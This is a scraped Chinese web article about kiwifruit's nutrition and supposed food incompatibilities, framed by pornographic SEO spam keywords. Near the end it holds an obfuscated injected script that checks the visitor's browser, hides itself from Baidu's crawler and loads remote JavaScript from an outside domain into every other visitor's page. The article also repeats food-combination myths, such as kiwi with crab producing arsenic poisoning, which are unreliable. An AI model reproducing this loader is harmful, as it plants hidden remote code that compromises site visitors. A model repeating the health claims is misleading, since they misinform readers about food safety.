久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 食物營養 > 正文

獼猴桃有什么作用呢?

2017-07-23 23:31:43  來源:360常識網   熱度:
導語:若是大家能夠早點知道獼猴桃有什么作用呢,就可以根據自己的身體狀況,正確的食用了。獼猴桃的營養價值很高,這一點從它含有的多種營養成分

若是大家能夠早點知道獼猴桃有什么作用呢,就可以根據自己的身體狀況,正確的食用了。獼猴桃的營養價值很高,這一點從它含有的多種營養成分上就能看出來。此外它所具有的功效也涉及到很多的方面,還能有效的預防和輔助治療一些疾病,總之它對人體健康的好處有很多。

獼猴桃的功效與作用

因其維生素c含量在水果中名列前茅,一顆獼猴桃能提供一個人一日維生素C需求量的兩倍多,被譽為“維C之王”。獼猴桃還含有良好的可溶性膳食纖維。

果外皮除含有豐富果膠,可降低血中膽固醇,更包含獼猴桃中百分之八十的營養,因此食用其外皮為最佳地選擇。奇異果中所含纖維,有三分之一是果膠,特別是皮和果肉接觸部分。果膠可降低血中膽固醇濃度,預防心血管疾病。

獼猴桃營養豐富,美味可口。果實中含糖量13%左右,含酸量2%左右,而且還每百克果肉含維生素400毫克,比柑橘高近9倍。鮮果酸甜適度,清香爽口。稱之為“超級水果”,名副其實。

獼猴桃是一種營養價值極高的水果,其可容性固形物含量為14~20%,含亮氨酸、苯丙氨酸、異亮氨酸、酪氨酸、纈氨酸、丙氨酸等十多種氨基酸,含有豐富的礦物質。

獼猴桃的禁忌

獼猴桃和黃瓜:破壞維生素C。黃瓜中含有維生素C分解酶,這種酶可以破壞食物中的維生素C。為避免獼猴桃中的維生素C遭到破壞,盡量不要同時食用這兩種食物。

獼猴桃和蝦:獼猴桃和蝦一起吃會造成中毒。

獼猴桃和螃蟹:易致中毒。蟹含有五價砷的化合物,本來對人體無害,但若和含有豐富維生素C的獼猴桃一起食用,則五價砷與維生素C相遇,使五價砷轉化為三價砷,即含劇毒的砒霜。若長期一起食用,隨著毒物的積累,可致痙攣、反胃等中毒癥狀。

上文中對獼猴桃有什么作用呢給除了明確的介紹,想必大家也都心中有數了。雖然說獼猴桃的營養價值很高,但是并非所有的人都適合食用。因為它是寒性食物,若是腸胃虛弱最好是不要食用的,或是嚴格限制攝入量,這樣就不會導致腹瀉腹痛了。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 欧美影院在线 | 欧美成人免费视频 | 欧美日韩福利 | 日本在线观看一区二区三区 | 九九综合九九 | 亚洲视频一区在线播放 | 精品亚洲永久免费精品 | 国产中文字幕一区二区三区 | 91久久久久久久久久久 | 日韩另类 | 日韩久久久久 | 亚洲成人久久久 | 国产二区视频 | 亚洲精品一区二区三区四区高清 | 伊人久久精品 | 午夜无码国产理论在线 | 四虎国产精品成人免费4hu | 久久国产亚洲精品 | 性生生活大片免费看视频 | 欧美国产日韩一区 | 欧美xxxxxxxx | 老汉色影院 | 国产精品毛片无码 | 中国一级特黄毛片大片 | 婷婷色综合色 | 日韩一区电影 | 日韩成人一区二区 | 久久久久蜜桃 | 91在线资源| 综合一区在线观看 | 三级精品| 国产精品视频免费 | 欧美国产日韩一区 | 久久午夜精品影院一区 | 久久精品视频网站 | 亚洲精品www久久久久久广东 | 亚洲精品在线播放 | 日韩中文字幕在线 | 激情久久久久 | 久久51| 午夜精品久久久久久久 |